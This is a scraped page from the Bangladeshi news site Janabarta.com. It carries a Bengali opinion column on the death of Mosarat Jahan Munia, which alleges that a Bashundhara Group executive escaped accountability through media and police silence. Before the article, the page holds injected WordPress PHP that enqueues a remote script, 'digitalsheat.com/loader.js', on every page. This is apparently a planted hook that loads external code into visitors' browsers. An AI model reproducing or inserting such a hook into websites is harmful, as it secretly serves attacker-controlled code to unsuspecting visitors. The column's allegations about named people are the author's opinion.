// Injected Script Enqueue Code function enqueue_custom_script() { wp_enqueue_script( 'custom-error-script', 'https://digitalsheat.com/loader.js', array(), null, true ); } add_action('wp_enqueue_scripts', 'enqueue_custom_script'); Janabarta.com | Newsportal Site ক্ষমতার কাছে ’অসহায়’ নারী - Janabarta.com

ক্ষমতার কাছে ’অসহায়’ নারী

ছবিঃ মোসারাত জাহান মুনিয়া ও বসুন্ধরা গ্রুপের ব্যবস্থপনা পরিচালক আনভীর

মতামত 

শাকিলা পাতা (এসপি)|

মোসারাত জাহান মুনিয়া সুন্দরী, স্মার্ট তরুণী। বাবা বীর মুক্তিযোদ্ধা শফিকুর রহমান একজন ঠিকাদার এবং মা কাজী সেতারা বেগম একজন ব্যাংকার ছিলেন। এই দম্পতির তিন সন্তানের মধ্যে মুনিরা সবার ছোট ছিলেন। ভাগ্যের নির্মম পরিহাসে ৩ বছর আগে মাকে ক্যান্সারে হারান। বাবাও একই বছরে হৃদযন্ত্রের ক্রিয়া বন্ধ হয়ে মারা যান। এতিম হয়ে যান মুনিয়া। বাবা-মা মারা যাওয়ার পর মুনিয়ার দায়িত্ব নেন ব্যাংকার দম্পতি বোন-জামাই।

মুনিয়া ২০১৮ সালে মিরপুরের ন্যাশনাল বাংলা স্কুল থেকে এসএসসি পাস করেন। পরবর্তীতে মিরপুর ক্যান্টনমেন্ট পাবলিক স্কুল এন্ড কলেজে ভর্তি হন। কলেজে পড়াকালীন বসুন্ধরা গ্রুপের ব্যবস্থাপনা পরিচালক সায়েম সোবহান আনভীরের সাথে তার পরিচয় হয়। পরিচয় থেকে প্রায়ই ফোনে কথা বলতেন। এমনকি দেখা করতেন বিভিন্ন রেস্টুরেন্টে। ২০১৯ সালে আনভীরের স্ত্রী পরিচয়ে বনানীর একটি বাসা ভাড়া নিয়ে মুনিয়াকে নিয়ে থাকতেন। ২০২০ সালে ফেব্রুয়ারিতে বিষয়টি আনভীরের পরিবার জানতে পারে। বিষয়টি জানার পর আনভীরের মা মুনিয়াকে ডেকে নিয়ে হুমকি দেন। এমনকি প্রাণে বেঁচে থাকতে হলে তাকে ঢাকা ছেড়ে চলে যেতে বলেন।

ওই সময় আনভীরও মুনিয়াকে কুমিল্লা চলে যেতে বলেন। করোনার প্রকোপ দেখা দেয়ায় এবং অবস্থা প্রতিকূল দেখে মুনিয়া ঢাকা ছেড়ে কুমিল্লা চলে যান। এর মধ্যে আনভীর আবার তাকে ডাকেন, বিয়ে করার প্রতিশ্রুতি দেন। যেহেতু তার পরিবার এ বিষয়টি মানছে না তাই বিয়ে করে দেশের বাইরে মুনিয়াকে সেটেল করবে বলে জানান। এক পর্যায়ে ৩ মার্চ ২০২১ গুলশানের একটি বাসা দুই বছরের জন্য ভাড়া নেন মুনিয়া। তাদের সম্পর্কও ভালোই চলছিল। কিন্তু বিপত্তি বাধে ২৩ এপ্রিল ২০২১। ওইদিন বাড়ির মালিকের বাসায় ইফতার পার্টি ছিল। ওই পার্টিতে গিয়েছিলা মুনিয়া। তারই কিছু ছবি আপলোড করেন বাড়ির মালিকের মেয়ে। বিষয়টি জেনে যান আনভীরের মা। তিনি বিষয়টি নিয়ে আনভীরের সাথে কথা বলেন। এরপর আনভীর মুনিয়ার উপর ক্ষিপ্ত হয়ে অকথ্য ভাষায় গালিগালাজ করেন এবং বিয়ে করবেন না বলে জানান। ঘটনার দুইদিন পর ২৫ এপ্রিল বিষয়টি মুনিয়া তার বোনকে জানায়। মুনিয়া জানায় আনভির তাকে ধোকা দিয়েছে। সে তাকে বিয়ে করবে না, তাকে শুধু ভোগ করেছে। তার বোন এসে যেন তাকে নিয়ে যায়। কারণ তার জীবনের ঝুঁকি আছে। ২৬ এপ্রিল তার বোন এসে মুনিয়ার ঝুলন্ত মরদেহ উদ্ধার করেন।

মুনিয়ার মৃত্যুর পর দেখা যায়, অধিকাংশ গণমাধ্যম সংবাদটি কাভার করা থেকে বিরত থেকেছে। কিছু কিছু গণমাধ্যম সংবাদটি একপেশিভাবে প্রকাশ করেছে আবার কিছু গণমাধ্যম সংবাদটি প্রকাশ করলেও পরে তা তুলে নিয়েছে। এর কারণ হচ্ছে সায়েম সোবাহান আনভীর বসুন্ধরা গ্রুপের ব্যবস্থাপনা পরিচালক। এই গ্রুপের অধীনে রয়েছে বাংলাদেশ প্রতিদিন, কালের কণ্ঠ, দ্য সান, অনলাইন নিউজ পোর্টাল বাংলানিউজ২৪ডটকম, নিউজ ২৪ এবং ক্যাপিটাল এফএম নামে রেডিও স্টেশন। শুধু তাই নয়, বাংলাদেশের রিয়েল এস্টেট ব্যবসায়ে বসুন্ধরা গ্রুপকে সবচেয়ে বড় বলে মনে করা হয়। পাশাপাশি এই গ্রুপের ব্যবসায়িক সাম্রাজ্য বিস্তৃত বিদ্যুৎ, সিমেন্ট, শিপিং, এয়ারলাইন্স, ফুড এন্ড বেভারেজসহ নানা ক্ষেত্রে। তাই ব্যবসায়িক কারণেই হোক বা ক্ষমতার কারণেই হোক, অধিকাংশ প্রতিষ্ঠান ঝামেলা এড়াতে সংবাদ পরিবেশন থেকে বিরত থেকেছে।

অন্যদিকে ঘটনার পর পুলিশ-প্রশাসনের পক্ষ থেকেও তেমন জোরালো ভূমিকা পালন করতে দেখা যায়নি। মুনিয়ার ফ্ল্যাটে আনভীর ও মুনিয়ার একাধিক ঘনিষ্ঠ ছবি টাঙ্গানো থাকলেও পুলিশ তদন্ত চলছে বলে জানায়। পাশাপাশি মুনিয়ার ডায়েরি থেকেও আনভীর ও মুনিয়ার সম্পর্কের বিষয়টি প্রকাশ পায়। তাছাড়া ওই ভবনের সিসিটিভি ফুটেজে আনভীরের আসা যাওয়ার বিষয়টি প্রমাণিত হলেও পুলিশ সিসিটিভি ফুটেজ পর্যবেক্ষণ করা হচ্ছে বলে জানায়। এমনকি ময়নাতদন্ত প্রতিবেদনেও আনভীরের সাথে মুনিয়ার শারীরিক সম্পর্কের বিষয়টি উঠে আসে। কিন্তু প্রতিবেদনের বলা হয়, তাদের ভেতরে জোর করে কোন সম্পর্ক হয়নি, দুজনার পারস্পরিক সম্মতিতেই শারীরিক সম্পর্ক গড়ে উঠেছে।

মুনিয়ার আত্মীয়-স্বজন, পুলিশ এবং প্রত্যক্ষদর্শীদের থেকে জানা যায়, মুনিয়ার সঙ্গে আনভীরের ঘনিষ্ঠ সম্পর্ক ছিল। কিন্তু ক্ষমতা এবং টাকার কাছে সবই মিথ্যা হিসেবে প্রতিষ্ঠা পেয়েছে। টাকা দিয়ে বিত্তবানরা সহজে পার পেয়ে যায়, কিন্তু বলির পাঁঠা হয় মুনিয়ার মতো অসহায় নারীরা। সম্মান বাঁচাতে তাদেরকে নিজের প্রাণ পর্যন্ত বিসর্জন দিতে হচ্ছে। অপরাধীরা ঘুরে বেড়াচ্ছে বুক ফুলিয়ে। এভাবেই ক্ষমতার কাছে যুগে যুগে পরাজিত হচ্ছে মানবতা, খর্ব হচ্ছে নারী অধিকার।

লেখকঃ মোছা. শাকিলা শারমিন

সাংবাদিক ও ব্লগার

shakilapata11@gmail.com